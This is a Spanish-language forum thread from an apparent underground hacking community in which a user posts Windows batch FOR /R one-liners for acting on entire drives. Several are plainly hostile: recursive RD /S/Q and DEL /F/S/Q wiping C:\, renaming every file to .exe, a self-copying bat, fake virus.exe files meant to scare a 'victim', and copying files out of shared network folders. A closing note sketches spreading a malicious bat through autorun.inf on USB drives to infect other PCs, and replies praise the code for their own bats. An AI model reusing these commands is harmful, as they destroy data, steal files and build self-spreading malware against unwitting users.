Nuevas NORMAS para el foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Agosto 21, 2008, 01:57:36
Boton Buscar
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Programacion  |  Programación  |  Batch (Moderadores: Espectro Infernal, The Shadow)  |  Tema: EJEMPLOS PARA USAR FOR DE BATCH EN ARBOLES DE DIRECTORIOS DE EL DISCO DURO 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: EJEMPLOS PARA USAR FOR DE BATCH EN ARBOLES DE DIRECTORIOS DE EL DISCO DURO  (Leído 371 veces)
Microchip
Miembro
*****
Desconectado Desconectado

Mensajes: 101


Microchip


Ver Perfil WWW
« en: Mayo 04, 2007, 12:07:07 »

La idea original que tenia era solo mostrar como renombrar o cambiar las extensiones de los archivos de una unidad del HD pero me decidi hacerlo un poco mas detallado con codes mios de ejemplo, haciendo en la consola FOR /? veran la explicacion de cada parte que se usa en cada code puesto aqui :S

-----> Renombrar archivos de una extension a otra
En este code en la primera linea de IF EXIST buscara todos los archivos con extension doc en directorios y subdirectorios para renombrarlos a *.exe
en la 2da linea de IF EXIST hara los mismo pero en la unidad D:\\ y cambiara las extensiones de todos los archivos a *.exe
en la 3era linea de IF EXIST hara los mismmo pero cambiara las extensiones de todos los archivos  e*.dat, osea dat que empieze su nombre con "e" pasara a ser DOC y los mismo
en la 4ta linea cambiara las extensiones de todos los archivos mp3 que tengan en su nombre la letra "a" pasaran a formato *.xls

Código:
    @echo off
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (*) DO REN %%x\\*.doc *.exe) ELSE echo NO EXISTE
IF EXIST D:\\ (FOR /R D:\\ /D %%x in (*) DO REN %%x\\*.* *.exe) ELSE echo NO EXISTE
IF EXIST E:\\ (FOR /R E:\\ /D %%x in (*) DO REN %%x\\e*.dat *.doc) ELSE echo NO EXISTE
IF EXIST F:\\ (FOR /R F:\\ /D %%x in (*) DO REN %%x\\*a*.mp3 *.xls) ELSE echo NO EXISTE

veran que se acepta comodines:

*.doc *.exe  = todos los doc a *.exe
*.* *.exe    = todos los archivos a *.exe
e*.dat *.doc = todos los archivos que empiezen su nombre "e" de ext DAT pasaran a ser DOC
*a*.mp3 *.xls = todos los archivos que tengan en su name la letra "a" de ext MP3 pasaran a ser archivos de excel Wink

Este es solo un ejemplo ya que echo se podra cambiar por goto a el sgte IF EXIST para evitar el mensaje de NO EXISTE

aqui les dejo ejemplos de otro tipo de uso de for con este code

-----> Copiarse a si mismo a todas los directorios y subdirectorios de una unidad, en este ej: de la C:\\ lo que quiere decir que el bat se copiara a cada una de las carpetas de todo el arbol de directorios de la unidad C:\\

Código:
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (*) DO copy %0 %%x\\) ELSE echo NO EXISTE

-----> Crear un archivo en todo el arbol de directorios de una unidad

En este ejemplo creara un mensaje.txt en cada carpeta y subcarpeta de la unidad C:\\

Código:
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (*) DO echo hola > %%x\\mensaje.txt ) ELSE echo NO EXISTE

En este ejemplo creara un archivo virus.exe en cada carpeta y subcarpeta de la unidad C:\\

Código:
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (*) DO echo hola > %%x\\virus.exe ) ELSE echo NO EXISTE

Ideal para hacer creer a la victima que esta infectada je ej!!!

-----> Eliminar Directorios de toda la Unidad C:\\
usando el comando RD

Código:
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (*) DO RD /S/Q %%x) ELSE echo NO EXISTE

Código:
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (a*) DO RD /S/Q %%x) ELSE echo NO EXISTE

Código:
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (*b*) DO RD /S/Q %%x) ELSE echo NO EXISTE

Noten que FOR acepta los comodines (*) quiere decir todos

(a*) quiere decir todos los folders que empiezen con la letra "a"
(*b*) quiere decir todos los folders que tengan una letra "b" en su nombre
y asi se puede combinar de muchas maneras


-----> Eliminar Archivos de toda la Unidad C:\\
Usando el comando DEL, la ventaja es que FOR hara el proceso carpeta por carpeta y subcarpeta, es mas seguro de este modo y eficiente

Código:
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (*) DO DEL /F/S/Q %%x) ELSE echo NO EXISTE

Código:
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (*.doc) DO DEL /F/S/Q %%x) ELSE echo NO EXISTE

Código:
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (a*.mp3) DO DEL /F/S/Q %%x) ELSE echo NO EXISTE

igualmente se pueden usar comodines

(*) = todos
(*.doc) = los archivos que tengan la extension doc
(a*.mp3) = los archivos que empiezen con a y tengan la extension mp3
(*s*) = todos los archivos que tengan la letra "s" en su nombre Cheesy

-----> Copiar y mover los archivos encontrados a nuestra carpeta en este ejemplo buscamos en la unidad C:\ el archivo "engel.mp3" ya sea para moverlo a nuestra carpeta o copiarlo

Código:
IF EXIST C:\\ (FOR /R C:\\ %%x in (engel.mp3) DO move %%x C:\\myfolder\\) ELSE echo NO EXISTE

Código:
IF EXIST C:\\ (FOR /R C:\\ %%x in (engel.mp3) DO copy %%x C:\\myfolder\\) ELSE echo NO EXISTE

tb se pueden utilizar los comodines para especificar varios archivos de alguna determinada extension o nombre Cheesy notese quese podria hacerse en entornos de red con carpetas compartidas para buscar algun archivo y copiarlo a nuestra pc Wink

-----> Crear una lista.txt de los directorios de nuestra unidad C:\\ En este ejemplo crea una lista de todos los directorios y subdirectorios de nuestra unidad C:\\ y la guarda en C:\\list.txt

Código:
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (*) DO echo %%x >> C:\\list.txt) ELSE echo NO EXISTE

en este caso carpetas y subcarpetas que empiezen con "a"

Código:
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (a*) DO echo %%x >> C:\\list.txt) ELSE echo NO EXISTE

en este caso carpetas y subcarpetas que tengan la "z" en algun lugar de su nombre

Código:
IF EXIST C:\\ (FOR /R C:\\ /D %%x in (*z*) DO echo %%x >> C:\\list.txt) ELSE echo NO EXISTE


-----> Listar Archivos de la unidad C:\\
En este caso listamos todos los archivos de la unidad C:\\ y lo guardamos en C:\\list.txt

Código:
IF EXIST C:\\ (FOR /R C:\\ %%x in (*) DO echo %%x >> C:\\list.txt) ELSE echo NO EXISTE

aqui listamos todos los archivos doc que comienzen con la letra "a"

Código:
IF EXIST C:\\ (FOR /R C:\\ %%x in (a*.doc) DO echo %%x >> C:\\list.txt) ELSE echo NO EXISTE

aqui listamos todos los archivos mp3 de la unidad C:\\ y la guardamos en C:\\list mp3.txt ideal si queremos hacer una lista de nuestras canciones je je!!!

Código:
IF EXIST C:\\ (FOR /R C:\\ %%x in (*.mp3) DO echo %%x >> C:\\list mp3.txt) ELSE echo NO EXISTE

Tb no olvidarse que puede especificarse la ruta completa de una carpeta y no necesariamente debe ser alguna unidad del HD je je!!

Bueno eso es todo, favor si van a copiar esto no olvidarse de los creditos para Microchip je je!!!

Saludos Cheesy

Nota.- En el asunto de "copiarse a si mismo a el arbol de directorios" y el de "crear algun tipo de archivo en el arbol de directorios" pueden utilizarse para crear un autorun.inf con el contenido "Shellexecute" y un bat malicioso el mismo para copiarse y ejecutarse a si mismo cada vez que se entra a dicha unidad o se inserta alguna memoria flash u disco de 1.44" para infectar a otras pc's, no creo que sea necesario el hacer un ejemplo de ello porque la parte dificil ya esta resuelta en el code, asi que usen la imaginacion para hacerlo si alguien
se anima porque a mi ya me dio flojera je je!!! prefiero seguir viendo tv Cheesy

Salut!
« Última modificación: Mayo 06, 2007, 09:18:44 por Microchip » En línea

Visita********* WEB DE MICROCHIP *********
Espectro Infernal
Moderadores
Colaborador
*****
Desconectado Desconectado

Mensajes: 802



Ver Perfil
« Respuesta #1 en: Mayo 04, 2007, 07:56:12 »

En línea





4rl3k1n6
Miembro
*****
Desconectado Desconectado

Mensajes: 28


Ver Perfil Email
« Respuesta #2 en: Mayo 04, 2007, 08:30:45 »

 Shocked
Buen aporte unas exelentes lineas para agregar a mi bat
En línea

Microchip
Miembro
*****
Desconectado Desconectado

Mensajes: 101


Microchip


Ver Perfil WWW
« Respuesta #3 en: Mayo 06, 2007, 09:20:28 »

La verdad es que me acostumbre a "//" de otros lenguajes para especificar las rutas y se me quedo :S, no creo que tenga importancia en batch que sea \  o  \\

Saludos Cheesy
En línea

Visita********* WEB DE MICROCHIP *********
Espectro Infernal
Moderadores
Colaborador
*****
Desconectado Desconectado

Mensajes: 802



Ver Perfil
« Respuesta #4 en: Mayo 07, 2007, 06:31:03 »

En línea





Vipermaseg
Miembro
*****
Desconectado Desconectado

Mensajes: 59



Ver Perfil
« Respuesta #5 en: Mayo 15, 2007, 12:11:32 »

Muy bueno micro, mi enhorabuena
En línea
Micki Qwerty
Visitante
« Respuesta #6 en: Mayo 17, 2007, 05:27:46 »

« Última modificación: Mayo 17, 2007, 05:32:00 por Scofield » En línea
Microchip
Miembro
*****
Desconectado Desconectado

Mensajes: 101


Microchip


Ver Perfil WWW
« Respuesta #7 en: Mayo 17, 2007, 11:23:10 »

Bueno aqui vienen las manzanitas y peritas para los que no tienen la minima capacidad de entender un miserable comando de "mierdows"

Este es un directorio de la unidad D:\ del HD que contiene archivos mp3, para que entiendan son canciones sin imagenes....



aqui utilizamos el glorioso comando "dir" y vean la diferencia al listar los *.mp3
ya que solo puede encontrar 1 mp3 que esta en la raiz de la unidad D:\

y luego el listado de archivos mediante FOR, si notan veran que puede listar el contenido de los directorios y subdirectorios que se encuentren en la unidad Wink



No crei que fuera necesario aclarar algo TAN EXTREMADAMENTE SIMPLE ni modo, pero resulta TAN ABURRIDO 

Pero si se puede usar el comando DIR de la siguiente forma:

Código:
DIR /S *.MP3

= DIR /S *.MP3

y listo mas simple no puede ser el manejo de este comando
« Última modificación: Mayo 17, 2007, 11:42:11 por Microchip » En línea

Visita********* WEB DE MICROCHIP *********
Micki Qwerty
Visitante
« Respuesta #8 en: Mayo 18, 2007, 06:01:34 »

El mandato dir tiene opcion recursiva evidentemente...

Un saludo a todos.
« Última modificación: Mayo 18, 2007, 08:15:02 por Scofield » En línea
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Programacion  |  Programación  |  Batch (Moderadores: Espectro Infernal, The Shadow)  |  Tema: EJEMPLOS PARA USAR FOR DE BATCH EN ARBOLES DE DIRECTORIOS DE EL DISCO DURO « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.5 | SMF © 2006-2007, Simple Machines LLC